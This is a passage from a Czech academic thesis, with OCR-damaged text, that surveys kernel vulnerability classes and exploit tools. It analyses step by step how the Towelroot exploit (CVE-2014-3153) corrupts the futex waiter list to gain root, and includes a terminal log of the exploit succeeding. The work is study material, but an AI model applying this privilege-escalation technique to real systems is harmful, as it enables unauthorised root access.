if (abrt) {
logError("operation aborted before commit", ptr);

Vypis 5.12: Piiklad programu pouzivajici pamét po jejim uvolnéni.

5.3.4 Nekonecna smycka

Zranitelnost je zpusobena chybné definovanou podminkou pro ukonceni cyklu, coz vede k
opakovani cyklu donekonecna. Této zranitelnosti vyuziva napiiklad utok DoS (CVE-2013-
0290). [23]

Hodnoceni zranitelnosti CVE-2013-0290 podle stupnice CVSS NIST:NVD je 4.9. [13]

5.3.5 Dvojité volani funkce free

Zranitelnost je zpusobena vicenasobnym volanim funkce free, které je predan ukazatel odka-
zujici se stale na stejnou pamét. To zpusobi poruseni datovych struktur pro spravu paméti.
Diky tomu muze tto¢nik zapisovat hodnoty do registrii nebo jinam do pamétového prostoru
a tim zajistit spusténi libovolného kédu. Tato zranitelnost umoznuje tuspésné provedeni
utoku typu DoS (CVE-2013-7348), (CVE-2006-2444). [23] [43]

Hodnoceni zranitelnosti CVE-2013-7348 podle stupnice CVSS NIST:NVD je 4.6 a hod-
noceni zranitelnosti CVE-2006-2444 podle stupnice CVSS NIST:NVD je 7.8.

5.3.6 Preteceni vyrovnavaci paméti

Zranitelnost je zpusobena zapisem mimo souvislou posloupnost paméti pouzivanou progra-
mem. Diky tomu muze toc¢nik naptiklad spustit sviij skodlivy kéd. Zranitelnosti vyuzivaji
utoky typu poskozeni paméti (CVE-2009-1633) nebo ziskani opréavnéni (CVE-2009-4004).
[23] [38]
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Hodnoceni zranitelnosti CVE-2009-1633 podle stupnice CVSS NIST:NVD je 7.1 a hod-
noceni zranitelnosti CVE-2009-4004 podle stupnice CVSS NIST:NVD je 7.8.

5.3.7 Preteceni celych ¢isel

Zranitelnost je zpusobena aritmetickou operaci jejiz vysledkem je hodnota, kterd je prilis
velkd a neni mozné ji ulozit do mensiho pamétového prostoru uréeného pro ulozeni vysledku
provedené aritmetické operace. Muze dojit k padu systému nebo k jeho nedefinovanému
chovani. Tuto zranitelnost vyuzivaji ttoky pro ziskani informaci (CVE-2009-1265) nebo
poruseni paméti (CVE-2010-3442). [23]

Hodnoceni zranitelnosti CVE-2009-1265 podle stupnice CVSS NIST:NVD je 5.0 a hod-
noceni zranitelnosti CVE-2010-3442 podle stupnice CVSS NIST:NVD je 4.7.

5.3.8 Soubéh

K soubéhu dochazi pri zpracovani instrukei v chybném poradi, pficemz vystupy instrukeci
zavisi na poradi, v jakém jsou instrukce provadény. Napriklad mtze dojit k prepsani dat,
kterd méla byt prectena, ale diky chybnému poradi instrukci k tomu nedoslo. Této zrani-
telnosti vyuzivaji utoky typu ziskdni opravnéni (CVE-2016-2059), DoS (CVE-2006-2445)
nebo poskozeni paméti (CVE-2006-2629). [23]

Hodnoceni zranitelnosti CVE-2016-2059 podle stupnice CVSS NIST:NVD je 7.0 a hod-
noceni zranitelnosti CVE-2006-2445 podle stupnice CVSS NIST:NVD je 4.0 a hodnoceni
zranitelnosti CVE-2006-2629 podle stupnice CVSS NIST:NVD je 4.0.

5.3.9 Chyba indexu pole

Zranitelnost je zpusobena pristupem na index, jehoz hodnota presahuje velikost pole. Této
zranitelnsoti vyuzivaji atoky ziskdni opravnéni (CVE-2009-3080) nebo ziskani informaci
(CVE-2015-4004). [23] Tohoto principu také vyuzivaji utoky zneuzivajici zranitelnosti Mel-
tdown a Spectre popsané v ¢asti 4.7.13.

Hodnoceni zranitelnosti CVE-2009-3080 podle stupnice CVSS NIST:NVD je 7.2 a hod-
noceni zranitelnosti CVE-2015-4004 podle stupnice CVSS NIST:NVD je 8.5.
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Kapitola 6
Vyhledavani exploiti

Exploity je mozné naléz ve vefejné pristupnych databazich nebo pomoci nastroju. V pripadeé
nové objevené zranitelnosti exploit nejspise neexistuje a je nutné jej nejdiive vyvynout. K
tomu mohou pomoci nastroje a typy uvedené v této kapitole.

6.1 Databaze exploiti

Mezi nejznaméjsi databaze exploiti patri Exploit DB, Rapid7, CXSecurity, Vulnerability
Lab, Oday, Packet Storm Security, Google Hacking Database. [61]

Databédze Google Hacking Database obsahuje Google Dorks, které predstavuji zptsob
jak ziskavat informace prostiednictvim piikazu jazyka vyhledavace Google.

Databédze Rapid7 pochazi od vyvojara aplikace Metasploit. Po nalezeni exploitu je
mozné zobrazit podrobnosti o zranitelnosti a také navod pro spusténi exploitu prostred-
nictvim konzole aplikace Metasploit.

Databaze Oday umoznuje nejen vyhledavani exploitt, ale také jejich prode;j.

6.2 Nastroje pro vyhledavani exploiti nebo zranitelnosti

Variantou k manualnimu prochézeni databazi je pouziti nastroji uvedenych v této ¢asti.

6.2.1 Metasploit

Nastroj Matasploit je uréen pro provadéni penetra¢niho testovani, prostrednictvim kterého
je mozné spusténi kédu exploitu. Nastroj umoznuje pouziti ruznych modult mezi které patii
napiiklad: [79]

e Moduly exploitd umoznuji spusténi verejné dostupnych exploitti na cilovém zafizeni.

e Diky pomocnym modulim je mozné provadét operace jako je napiiklad skenovani
uzivatelu.

e Pomoci post-exploitation modult je mozné naptiklad zvySeni opravnéni piistpu k
cilovému systému.
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6.2.2 LinPEAS

LinPEAS je oznaceni pro skript slouzici pro vyhledani zneuzitelnych zranitelnosti, jejichz
zneuzitim lze dosdhnout zvysSeni opravnéni v systému. [6]

6.2.3 Nmap

Nastroj Nmap lze spouzit spolu se skriptem vulscan nebo skriptem nmap-vulners ke skeno-
vani zranitelnosti. Skripty jsou pfi spusténi nastroje Nmap uvedeny za prepinac¢em —script.
[46] Na zdkladé zranitelnosti je mozné z nékteré databaze ziskat exploit.

6.2.4 Immunity CANVAS

Sada Immunity CANVAS umoznuje provadét hodnoceni bezpecnosti a mimo jiné také umoz-
nuje vyzkum a vyvoj exploitii. Sada obsahuje mnozstvi exploiti roztridénych do kategorii
a pripravenych k pouziti. [29]

6.2.5 Exploit Pack

Exploit Pack je oznaceni pro framework umoznujici vyvoj exploitii a obsahuje exploity
pripravené k pouziti. [44]

6.3 Vyvoj exploitt

Pro vyvoj exploitu lze pouzit naptiklad nastroje uvedené v ¢asti 6.2.4 nebo 6.2.5.

Na zac¢atku vyvoje exploitu je vhodné se zamérit na chyby jako je pfeteceni vyrovnavaci
paméti, preteceni celych ¢isel a dalsi chyby, které je mozné zneuzit. Po nalezeni zranielnosti
je nutné vytvorit exploit, ktery zranitelnost dokaze zneuzit, protoze ne vsechny zranitelnosti
mohou byt zneuzitelné. Pti ladéni zranitelného programu mohou byt vyhledany zneuzitelné
adresy v paméti, jako napriklad adresy funkci nebo adresy v paméti zasobniku. Po ziskani
vSech potfebnych informaci je mozné vytvorit funkéni exploit. [47]
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Kapitola 7

Podrobna analyza exploiti

7.1 Towelroot (CVE-2014-3153)

Zranitelnost je zpusobena funkei futexr requeue v souboru kernel/futex.c v linuxovém jadre
do verze 3.14.5. Funkce neprovadi kontrolu, zda jsou adresy futex rozdilné a je tedy mozné
ji volat se dvéma stejnymi adresami futex. Pomoci ptikazu FUTEX_ REQUEUE je mozna
modifikace ¢ekatele futexu, coz umozni uzivateli ziskat vyssi opravnéni. [27] [8]

Zneuzitelné verze jadra jsou do 3.2.60 (kromé), od 3.3 (véetné) do 3.4.92 (kromé), od
3.5 (v¢etné) do 3.10.42 (kromé), od 3.11 (v¢etné) do 3.12.22 (kromé), od 3.13 (véetné) do
3.14.6 (krome).

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 7.2. [13]

Futex je zkratkou slova Fast Userspace Mutex a predstavuje synchroniza¢ni mechani-
zmus pii pristupu vldken ke sdilénym prostfedkiam. Je navrzen tak, aby se co nejvice omezila
interakce s jadrem a tim se zrychlilo provadéni programu. Futex je v zdkladni podobé ¢itac,
pricemz procesy Cekaji, az bude jeho hodnota kladna. Existuji dva druhy: PI a non-PI. Sys-
témové volani futex je uvedeno ve vypise 7.1. Proménna, jejiz adresa je ulozena v ukazateli
uaddr je oznacovana jako futex word. Proménna futex word predstavuje futex, na kterém
mohou ¢ekat vldkna. [10]

long syscall(SYS_futex, uint32_t *uaddr, int futex_op, uint32_t val,
const struct timespec *timeout, /* or: uint32_t val2 */
uint32_t *uaddr2, uint32_t val3);

Vypis 7.1: Systémové volani futex.

Futex typu non-PI

Futex typu non-PI umoznuje provedeni dvou zdkladnich operaci FUTEX_WAIT a FU-
TEX_WAKE.

Operace FUTEX__WAIT umoznuje uspani vldkna v pripadé, ze se hodnota proménné
futex word rovna hodnoté proménné val. Vlakno se pri uspani stava ¢ekatelem. V pripadé,
kdy se hodnoty nerovnaji, vrati systémové volani chybu EAGAIN. Porovnani hodnoty pro-
ménné futex word a wval se provadi z dtivodu zabranéni ztracenych probuzeni. Proménna
timeout urcuje ¢asovy limit pro ¢ekani pokud jeji hodnota neni NULL. Ve vypise 7.2 je uve-
den priklad funkce provadéjici operaci FUTEX__WAIT. Ignorovany jsou argumenty uaddr?
a vals.

69



/* Acquire the futex pointed to by ’futexp’: wait for its value to
become 1, and then set the value to 0. */

static void fwait(uint32_t *futexp)

{
long s;
const uint32_t one = 1;

// atomic_compare_exchange_strong(ptr, oldval, newval)

// atomically performs the equivalent of:

// if ( *ptr == *oldval )

// *ptr = newval;

// It returns true if the test yielded true and *ptr was updated.

while (1) {

// Is the futex available?

if (atomic_compare_exchange_strong(futexp, &one, 0))
break; // Yes

// Futex is not available; wait.

s = futex(futexp, FUTEX_WAIT, O, NULL, NULL, 0);

if (s == -1 && errno != EAGAIN)
err (EXIT_FAILURE, "futex-FUTEX_WAIT");

Vypis 7.2: Funkce pro uspani vlakna.

Na obrazku 7.1 je popsano zabranéni ztraceného probuzeni.

VlIdkno €.1 - po vykonani funkce
atomic_compare_exchange_strong se rozhodne
pro vykondni operace FUTEX_WAIT na futexp
(futex word)

|

Vldkno €.2 - zméni hodnotu proménné futexp

|

Vldkno €.2 - provede operaci FUTEX_WAKE
na futexp

!

Vldkno €.1 - nevykona operaci FUTEX_WAIT,
protoZe hodnota futexp neni rovna o¢ekdvané
hodnoté

Obrazek 7.1: Zabranéni ztraceného probuzeni.

Dalsi operaci je FUTEX_ WAKE, ktera slouzi pro probuzeni jednoho nebo vice ¢eka-
jicich vldken. Pocet probuzenych vlaken je specifikovan proménnou wval. Neni garantovano,
ktera ¢ekajici vlakna budou probuzena. Ignorovany jsou argumenty uaddr2, val3 a timeout.
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Futex typu PI

Futex typu PI Tesi problém inverze priorit, kdy je tloha s vysokou prioritou zablokovana
zamkem, ktery je drzen tlohou s nizkou prioritou. Priorita dlohy s nizkou prioritou je
doCasné zvySena na prioritu tlohy s vysokou prioritou. Uloha se zvySenou prioritou nenf
pfedbihdna dlohami stfedni Grovné a zdmek je uvolnén rychleji. Uloha s vySs{ prioritou
ziska zamek rychleji nez dlohy s nizs{ prioritou. Futex typu PI pouziva prioritni seznam, ve
kterém jsou c¢akjici vlakna serazena podle priority. Pro kazdé ¢ekajici vlakno je do seznamu
vlozena polozka. Prioritni seznam je uveden na obrazku 7.2.

priority=10 priority=20 priority=20 priority=30
— prio_list prio_list — prio_list — prio_list —
plist_head node_list node_list node_list node_list ]

Obrazek 7.2: Prioritni seznam cekateld. Prevzato ze zdroje [8].

Futex typu non-PI umoznuje provedeni dvou zéakladnich operaci FUTEX_LOCK_PI a
FUTEX_UNLOCK_PI.

Operace FUTEX_LOCK_PI je pouzita po neuspésném pokusu o ziskani zamku po-
moci atomické instrukce provedené v uzivatelském rezimu, protoze futex word obsahuje
hodnotu vétsi nez nula. Pokud je hodnota futex word rovna 0, je pti provedeni operace FU-
TEX_LOCK_PI vlozena do futex word hodnota identifikdtoru TID vldkna a poté vldkno
pokracuje v provadéni programu. Pokud futex word obsahuje nenulovou hodnotu, jidro na-
stavi bit FUTEX__WAITERS signalizujici vlaknu vlastnici futex, ze neni mozné atomické
odemceni futexu v uzivatelském prostoru nastavenim hodnoty futex word na 0. V1dkno je
nasledné vlozeno do seznamu cekateli. Proménnd timeout urcuje ¢asovy limit pro ¢ekani
na ziskani zamku pokud jeji hodnota neni NULL. Ignorovany jsou argumenty waddr2, val
a vals.

Operace FUTEX_UNLOCK_ PI slouzi pro probuzeni ¢ekajiciho vlakna s nejvyssi pri-
oritou, které zahajilo ¢ekani provedenim operace FUTEX_LOCK_PI s adresou uaddr.
Ignorovany jsou argumenty waddr2, val, timeout a val3.

7.1.1 Podrobna analyza exploitu

V této kapitole je uvedena posloupnost udalosti, které vedou ke zvyseni opravnéni na troven
root. Informace o téchto udalostech byly ziskany z vystupu SystemTap skriptu v priloze B
a exploitu v pfiloze A, ktery byl doplnén o vypis informaci nutnych k analyze exploitu. V
této kapitole je futex typu PI oznacen jako PI zamek a futex typu non-PI je oznacen jako
non-PI zamek.
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Udalost ¢. 1

Provedeni operace FUTEX__LOCK__PI na tadku 574. Vldkno pii provedeni této operace
uzamce PI zamek a pokracuje v provadéni programu. VIdkno cekajici na non-PI zamku
bude pri prerazeni na PI zamek zablokovano a bude vytvorena polozka v seznamu ¢ekatela
PI zadmku. Tato polozka bude diky chybé ponechana v seznamu a poslouzi k tispésnému
provedeni utoku.

Udalost ¢. 2

Pri provedeni operace FUTEX WAIT REQUEUE_PI na tadku 533 je volana funkce
futex _wait requeue__pi. Vlakno bude ¢ekat na non-PI zdmku s imyslem, ze bude pozdéji
presmérovano na PI zamek.

static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags,
u32 val, ktime_t *abs_time, u32 bitset,
u32 __user *uaddr2)

struct hrtimer_sleeper timeout, *to = NULL;
struct rt_mutex_waiter rt_waiter;

struct rt_mutex *pi_mutex = NULL;

struct futex_hash_bucket *hb;

union futex_key key2 = FUTEX_KEY_INIT;
struct futex_q q = futex_q_init;

int res, ret;

Vypis 7.3: Zacatek funkce futex wait_requeue _pi. Prevzato ze zdroje [3].

Nejdulezitési lokalni proménnou je rt_waiter, kterd predstavuje polozku v seznamu
cekateld. Polozky struktury r¢  waiter jsou uvedeny ve vypise 7.4.

struct rt_mutex_waiter {
struct plist_node list_entry;
struct plist_node pi_list_entry;
struct task_struct *task;
struct rt_mutex *lock;

};

Vypis 7.4: Polozky struktury struct rt_mutex waiter. Pfevzato ze zdroje [3].

Ve struktufe je odkaz na zamek, na ktery vldkno ¢eka. Dale odkaz na ¢ekajici vlakno
a odkazy na ostatni ¢ekajici vlakna. Po voldni funkce futer wait_queue me je vldkno
zablokovano a pokracuje v piipadé probuzeni nebo ukonceni. Funkce futexr wait queue me
je volana ve funkci futexr wait _requeue_ pi.

Udalost ¢. 3

P1i provedeni operace FUTEX_ CMP_REQUEUE__PI na tadku 576 je volana funkce fu-
tex _requeue, ktera zajisti presmérovani vlakna z non-PI zdmku na PI zdmek.

static int futex_requeue(u32 __user *uaddrl, unsigned int flags,
u32 __user *uaddr2, int nr_wake, int nr_requeue,
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u32 *cmpval, int requeue_pi)

if (requeue_pi) {
/* Prepare the waiter to take the rt_mutex. */
atomic_inc(&pi_state->refcount);
this->pi_state = pi_state;
ret = rt_mutex_start_proxy_lock(&pi_state->pi_mutex,
this->rt_waiter,
this->task, 1);

Vypis 7.5: Cast funkce futex requeue. P¥evzato ze zdroje [3].

Funkce rt_mutex_start _proxy lock provede presmérovani.

int rt_mutex_start_proxy_lock(struct rt_mutex *lock,
struct rt_mutex_waiter *waiter,
struct task_struct *task, int detect_deadlock)

ret = task_blocks_on_rt_mutex(lock, waiter, task, detect_deadlock);

Vypis 7.6: Cast funkce rt_mutex_ start_proxy_ lock. P¥evzato ze zdroje [3].

Ve funkci task_blocks _on_rt_muter je vlozena polozka do seznamu cekateli.

static int task_blocks_on_rt_mutex(struct rt_mutex *lock,
struct rt_mutex_waiter *waiter,
struct task_struct *task,
int detect_deadlock)

plist_add(&waiter->list_entry, &lock->wait_list);

Vypis 7.7: Cast funkce task_ blocks__on__rt_mutex. Pfevzato ze zdroje [3].

Stav seznamu cekatell je uveden na obrazku 7.3.

prio: 132

node_list_prev: ffff8800209e3858

node_list_next: ffff8800209€3858 fe==

lock->wait_list prio_list_prev: ffff8800209a1d08

prio_list_next: ffff8800209a1d08
node_list addr: ffff8800209a1d18 J
prio_list addr: ffff8800209a1d08 (-

Obrazek 7.3: Prvni stav seznamu c¢ekatelu
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Nyni je lokalni proménnda rt_waiter definovana ve funkci futer wait_requeue_pi po-
lozkou v seznamu c¢ekateli PI zamku.

Udalost ¢. 4

Na radku 580 je prostifednictvim funkce create thread_do_ futex lock_pi_with_priority
vytvoreno vladkno, které se pokusi o uzamceni PI zadmku. Pri tomto pokusu je vlozena dalsi
polozka do seznamu ¢ekatelil, protoze PI zamek je vlastnén jinym vldknem. Stav seznamu
cekatell je uveden na obrazku 7.4.

prio: 126 prio: 132
node_list_prev: ffff8800209e3858 node_list_prev: ffff88003eb9fc80
node_list_next: fff8800209a1d18 node_list_next: ffff6800209€3858 (e
== prio_list_prev: ffff8800209a1d08 prio_list_prev: ffff88003eb9fc70
prio_list_next: ffff8800209a1d08 == prio_list_next: ffff88003eb9fc70
P node_list addr: fff38003eb9fc80 | L= node_list addr: fff8800209a1d18
prio_list addr: ffff88003eb9fc70 prio_list addr: ffff8800209a1d08
y— - T

Obrazek 7.4: Druhy stav seznamu cekatelti

Udalost ¢. 5

Na radku 581 je stejnym zptsobem vlozen dalsi cekatel. Stav seznamu cekatell je uveden

na obrazku 7.5.

prio: 126 prio: 127 prio: 132
node_list_prev: ffff8800209e3858 node_list_prev: ffff88003eb9fc80 node_list_prev: ffff88003eb95c80
I node_list_next: ffff88003eb95c80 node_list_next: ffff8800209a1d18 node_list_next: ffff8800209e3858
lock->wait_list [p=={ prio_list_prev: ffff8800209a1d08 === prio_list_prev: ffff88003eb9fc70 === prio_list_prev: ffff88003eb95c70
A I prio_list_next: ffff88003eb95C70 fmmm prio_list_next: ffff880020921d08  fm== prio_list_next: ffff88003eb9fc70
| node_list addr: ff88003eb9fc80 <= | node_list addr: ffff88003eb95c80 (€= | node_list addr: ffff3800209a1d18
prio_list addr: ffff88003eb9fc70 { prio_list addr: ffff88003eb95c70 ( prio_list addr: ffff8800209a1d08

X X =

—
l

Obréazek 7.5: Treti stav seznamu c¢ekatela

Udalost ¢. 6

Na tadku 583 je nastavena hodnota futex word na 0, coz signalizuje, ze je zamek volny.
Pri dalSim presmérovani funkce futex_proxy trylock _atomic uspéje a ¢ekajici vlakno bude

probuzeno.
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Udalost ¢. 7

Na radku 587 je opét provedena operace FUTEX CMP_ REQUEUE_PI, kterd provede
presmérovani vlakna z PI zamku na stejny PI zamek, pricemz je opét volana funkce fu-
texr requeue.

static int futex_requeue(u32 __user *uaddrl, unsigned int flags,
u32 __user *uaddr2, int nr_wake, int nr_requeue,
u32 *cmpval, int requeue_pi)

if (requeue_pi && (task_count - nr_wake < nr_requeue)) {

* Attempt to acquire uaddr2 and wake the top waiter.
* If we intend to requeue waiters, force setting

* the FUTEX _WAITERS bit. We force this here

* where we are able to easily handle

* faults rather in the requeue loop below.

ret = futex_proxy_trylock_atomic(uaddr2, hbl, hb2, &keyl,
&key2, &pi_state, nr_requeue);

Vypis 7.8: Cast funkce futex requeue. P¥evzato ze zdroje [3].

Funkce futex proxy_trylock _atomic provadi kontrolu jestli je pfesmérovani provadéno
na oc¢ekavany zamek. Podminka je splnéna, protoze presmérovani probiha z PI zamku na
stejny PI zamek. Déle je volana funkce futex lock pi_atomic a v pripadé, Ze je zamek
ziskan, je prbuzen ¢ekatel s nejvyssi prioritou.

static int futex_proxy_trylock_atomic(u32 __user *pifutex,
struct futex_hash_bucket *hbil,
struct futex_hash_bucket *hb2,
union futex_key *keyl, union futex_key x*key2,
struct futex_pi_state **ps, int set_waiters)

/* Ensure we requeue to the expected futex. */
if (!match_futex(top_waiter->requeue_pi_key, key2))
return -EINVAL;

/*

* Try to take the lock for top_waiter. Set the

* FUTEX_WAITERS bit in the contended case or

* if set_waiters is 1. The pi_state is returned

* in ps in contended cases.

*/

ret = futex_lock_pi_atomic(pifutex, hb2, key2, ps, top_waiter->task,
set_waiters);

if (ret == 1)

requeue_pi_wake_futex(top_waiter, key2, hb2);
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Vipis 7.9: Cast funkce futex proxy_ trylock atomic. Pievzato ze zdroje [3].

Funkce futex lock pi atomic uspéje pri ziskani zamku, protoze jsme na radku 583
nastavili hodnotu futex word na 0 a je tedy probuzen Cekatel s nejvyssi prioritou. Timto
Cekatelem je ve skuteCnosti vldkno, které zacalo ¢ekat na non-PI zamku a nasledné bylo
presmérovano na PI zamek. Funkce requeue pi_wake futex nastavi proménnou rt_waiter
na NULL, ¢imz signalizuje funkci futex wait requeue_pi Gspésné ziskani zamku.
static inline
void requeue_pi_wake_futex(struct futex_q *q, union futex_key x*key,

struct futex_hash_bucket *hb)
{

g->rt_waiter = NULL;

Vypis 7.10: Cast funkce requeue_ pi_wake_ futex. Pievzato ze zdroje [3].

Udalost ¢. 8

Po probuzeni presmérovaného vlikna je dokonceno provadéni funkce
futex__wait _requeue_pi

static int futex_wait_requeue_pi(u32 __user *uaddr, unsigned int flags,
u32 val, ktime_t *abs_time, u32 bitset,
u32 __user *uaddr2)

/* Check if the requeue code acquired the second futex for us. */
if (!q.rt_waiter) {
/*
* Got the lock. We might not be the anticipated owner if we
* did a lock-steal - fix up the PI-state in that case.
*/

} else {
/* Removes the waiter from the wait_list. */
ret = rt_mutex_finish_proxy_lock(pi_mutex, to,

&rt_waiter, 1);

/* Unqueue and drop the lock. */
unqueue_me_pi(&q);

Vypis 7.11: Cast funkce futex wait_ requeue_pi. P¥evzato ze zdroje [3].

Proménné rt_waiter je nastavena na hodnotu NULL, takze je ponechana polozka v
seznamu cCekatelt.
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Udalost ¢. 9

Po probuzeni ¢ekatele je na fadku 540 provedeno systémové volani sendmmsg, kterému je
predano drive inicializované pole zprav msgvec. Systémové volani dale vold funkci

_ sys_sendmsg jejiz lokdlni proménna iovstack Casteéné prekryva lokalni proménnou
rt_waiter ve funkci futer wait_requeue_pi. Ta predstavuje polozku v seznamu cekatelt
zamku a diky zranitelnosti nebyla odstranéna. Zapisem do pole ‘fovstack muzeme nastavit
jeji hodnoty. Prekryti je znidzornéno na obrazku 7.6. Provadéni kédu vldkna je pozastaveno
na systémovém volani sendmmsg, protoze zpravy nejsou prijimany.

0xffff8800209a1d00

list_entry.orio iov_base: 0xb0000000
—entry.p (-1342177280)
list_entry.prio_list.next iov_len: 0xc000400
list_entry.prio_list.prev iov_base: 0xc000400
list_entry.node_list.next iov_len: 0xc000400
list_entry.node_list.prev iov_base: 0xc000400

Obrazek 7.6: Prekryti lokalni proménné rt_waiter a lokalni proménné iovstack

Udalost ¢. 10

Na radku 610 je prostifednictvim funkce create thread_do_ futex lock_pi_with _priority
vlozena polozka do seznamu ¢ekateld s prioritou 131. Stav seznamu cekateli je uveden na
obrazku 7.7.
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http://list_entry.prio_list.next
http://list_entry.prio_list.prev
http://list_entry.node_list.next
http://list_entry.node_list.prev

prio: 126 prio: 127 prio: -1342177280

node_list_prev: fff8800209¢3858 node_list_prev: ffff88003eb9fc80 — node_list_prev: 000000000c000400
£ node_list_next: fff88003eb95c80 node_list_next: ffff8800209a1d18 node_list_next: 000000000c000400 =
lock->wait_list ~——! prio_list_prev: ff8800209a1d08 ——| prio_list_prev: ffff88003eb9fc70 ~—| prio_list_prev: 000000000c000400
prio_list_next: fff88003eb95c70 prio_list_next: ffff8800209a1d08 prio_list_next: 000000000c000400 (==
| node_list addr: fff88003eb9fc80 | node_list addr: fff38003eb95c80 | node_list addr: ffff8800209a1d18
prio_list addr: ffff88003eb9fc70 prio_list addr: ffff88003eb95c70 prio_list addr: ffff8800209a1d08
L e — A
—eeeee ]
prio: 129 prio: 131 prio: 133
node_list_prev: 000000000c000470 node_list_prev: 000000000c000410 node_list_prev: fff880020a4bc80
node_list_next: fff880020a4bc80 node_list_next: 000000000c000470 node_list_next: 000000000c000410 f=——1
~—! prio_list_prev: 000000000c000460 ~| prio_list_prev: 000000000c000400 ~— prio_list_prev: ffff880020a4bc70
prio_list_next: ffff880020a4bc70 (== prio_list_next: 000000000c000460 == prio_list_next: 000000000c000400 (==
3| node_list addr: 000000000c000410 |- | node_list addr: ffff380020a4bc80 4= &P node_list addr: 000000000c000470 [«
| prio_list addr: 000000000c000400 prio_list addr: fff880020a4bc70 prio_list addr: 000000000c000460
AA A A A A A A A
1 ]

Obrazek 7.7: Ctvrty stav seznamu &ekateld

Polozka s prioritou -1342177280 je soucasti lokalni proménné rt_waiter, ktera se nachazi
ve funkci futex wait_requeue pi. Hodnoty této lokdlni proménné byly pipesiny lokdlni
proménnou ‘ovstack. Ukazatele v této poloZce jsou nastaveny na adresu pole, které bylo
alokované na radku 674 pomoci funkce mmap. V tomto poli jsou nasledné pomoci funkce
setup__waiter__params vytvoreni dva ¢ekatelé. Tyto cekatele reprezentuji polozky s prioritou
129 a 133.

Udalost ¢. 11
Na radku 611 je z polozky s prioritou 129 ziskdna adresa na zasobniku s hodnotou Oxf-
fff880020a4bc70.
Udalost ¢. 12

Na radku 612 je tato adresa prevedena na ukazatel na strukturu struct thread_ info.

Udalost ¢. 13

Na radku 613 je nastavena adresa ukazatele na proménnou addr_limit, kterd slouzi pro
omezeni rozsahu uzivatelského virtualniho adresového prostoru.

Udalost ¢. 14

Na radku 615 je prostifednictvim funkce create thread_do_ futex lock_pi_with_priority
vlozena polozka do seznamu c¢ekateli s prioritou 131. Pfi vlozeni nového cekatele je do
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proménné addr__limit vlozena nova hodnota. Tato hodnota se nachézi i v polozce s prioritou
133. Obsah této polozky je uveden na obrazku 7.8.

prio: 133

node_list_prev: ffff880020a4dc80

node_list_next: 000000000c000410

prio_list_prev: ffff880020a4bc70

prio_list_next: 000000000c000400

node_list addr: 000000000c000470

prio_list addr: 000000000c000460

Obrazek 7.8: Polozka s novou hodnotou addr__limit

V ukazateli node_list_ prev je uloZena nova hodnota addr_limit 0xffff880020a4dc80.

Udalost ¢. 15

Na radku 619 je provedena kontrola zjistujici jestli je hodnota addr_limit vétsi nez ad-
resa struktury struct task_struct, aby bylo mozné do této struktury zapisovat a tim zvysit
opravneéni.

Udalost ¢. 16

Na radku 629 je provedeno zaslani signalu SIGNAL _HACK_ _KFERNEL vlaknu th11_1, coz
vede k volani funkce kernel hack task.

Udalost ¢. 17

Ve funkci set_parent_cred je do proménné addr_limit nastavena maximalni mozna hod-
nota, coz umozni zapis do celého virtualniho adresového prostoru. Déle je na zdkladé TID
ziskana struktura struct task_struct. V této strukture je nalezena struktura struct cred,
ktera je nasledné preddna funkci set_cred. Funkce set_cred nastavi vlaknu opravnéni root.
Toto vldkno na fadku 698 spusti program bin/bash s opravnénim root.

Udalost ¢. 18

Ve funkci kernel _hack__task je do proménné addr_limit nastavena maximalni mozna hod-
nota, coz umozni vldknu thi1 1 zapisovat do celého virtudlniho adresového prostoru.
Vlakno nasledné provede pomoci funkce fiz_rt mutex_waiter list opravu seznamu ceka-
teld.

Udalost ¢. 19

Na radku 642 je pomoci funkce fiz rt muter waiter list opravena struktura seznamu
Cekateli. Stav seznamu cCekatelil po provedeni funkce je uveden na obrazku 7.9.
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prio: 126 prio: 127
node_list_prev: ffff8800209e3858 node_list_prev: ffff88003eb9fc80
node_list_next: ffff88003eb95c80 node_list_next: ffff8800209€3858  fmm=y
lock->wait_list prio_list_prev: ffff88003eb95c70 prio_list_prev: ffff88003eb9fc70
prio_list_next: ffff88003eb95c70 prio_list_next: ffff88003eb9fc70
node_list addr: fff88003eb9fc80 |« |- | node_list addr: ffff88003eb95c80
prio_list addr: ffff88003eb9fc70 —) prio_list addr: ffff88003eb95c70
(N S By

Obrazek 7.9: Opraveny seznam cekatela.

Udalost ¢. 20

Na 1radku 696 c¢eka rodicovsky proces ve smycce dokud nebude hodnota jeho UID rovna 0,
coz by znamenalo ziskan{ opravnéni root.

Udalost ¢. 21

Na 1adku 698 je pomoci funkce execl nahrazen aktudlni proces procesem bin/bash, ktery
je spustén s opravnénim root.

7.1.2 Pouziti exploitu

Spusténi exploitu je uvedeno na obrazku 7.10. Pfed spusténim exploitu je provedeno ové-
feni verze jadra a opravnéni. Z hodnoty UID je patrné, ze uzivatel spoustéjici exploit ma
opravnéni user. Po spusténi exploitu jsou do terminalu vypsany informace o jeho prubéhu.
Po dokonceni exploitu je ziskdno opravnéni root a hodnota UID je rovna 0.

[user@localhost Desktopl$ uname -msr

Linux 3.10.0-123.el7.x86_64 x86 64

[user@localhost Desktopl$ id

uid=10600(user) gid=1000(user) groups=1000(user) context=unconfined u:unconfined r:uncon
fined t:s0-s0:c0.cl023

[user@localhost Desktopl$ ./exploit-35370

CVE-2014-3153 exploit by Chen Kalqu({kaiquchen@l63.com)

Press RETURN after one second...

Checking whether exploitable..OK

Seaching good magic...

magicl=0xffff88005530dc70 magic2=0xffff880058d2fcB0

Good magic found

Hacking. ..

[root@localhost Desktopl# id

uid=0{rcot) gid=0(root) groups=0(root},l008(user) context=unconfined u:unconfined r:unc
onfined t:s0-s0:c0.clBZ3

[root@localhost Desktopl#

Obrézek 7.10: Usp&sné pouziti exploitu CVE-2014-3153
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7.2 DirtyCow (CVE-2016-5195)

Diky soubéhu v souboru mm/gup.c a chybnému pouziti funkce copy-on-write (COW) je
umoznen zapis do paméti uréené pouze pro ¢teni. [13]

Zmeuzitelné verze jadra jsou od verze 2.x az po verzi 4.x pred verzi 4.8.3.

Hodnoceni zranitelnosti podle stupnice CVSS NIST:NVD je 7.8.

7.2.1 Podrobna analyza exploitu

V této kapitole je uvedena posloupnost udalosti, které vedou k tspésnému zapisu retézce do
souboru, ke kterému ma uzivatel spoustéjici exploit pouze pravo ¢teni. Spolu s udalostmi
jsou uvedeny i teoretické koncepty. Informace o téchto udalostech byly ziskany z vystupu
SystemTap skriptu v piiloze D. Exploit se nachazi v piiloze C.

Udalost ¢. 1

Po otevieni souboru v rezimu pouze pro ¢teni je pomoci systémového volani mmap je
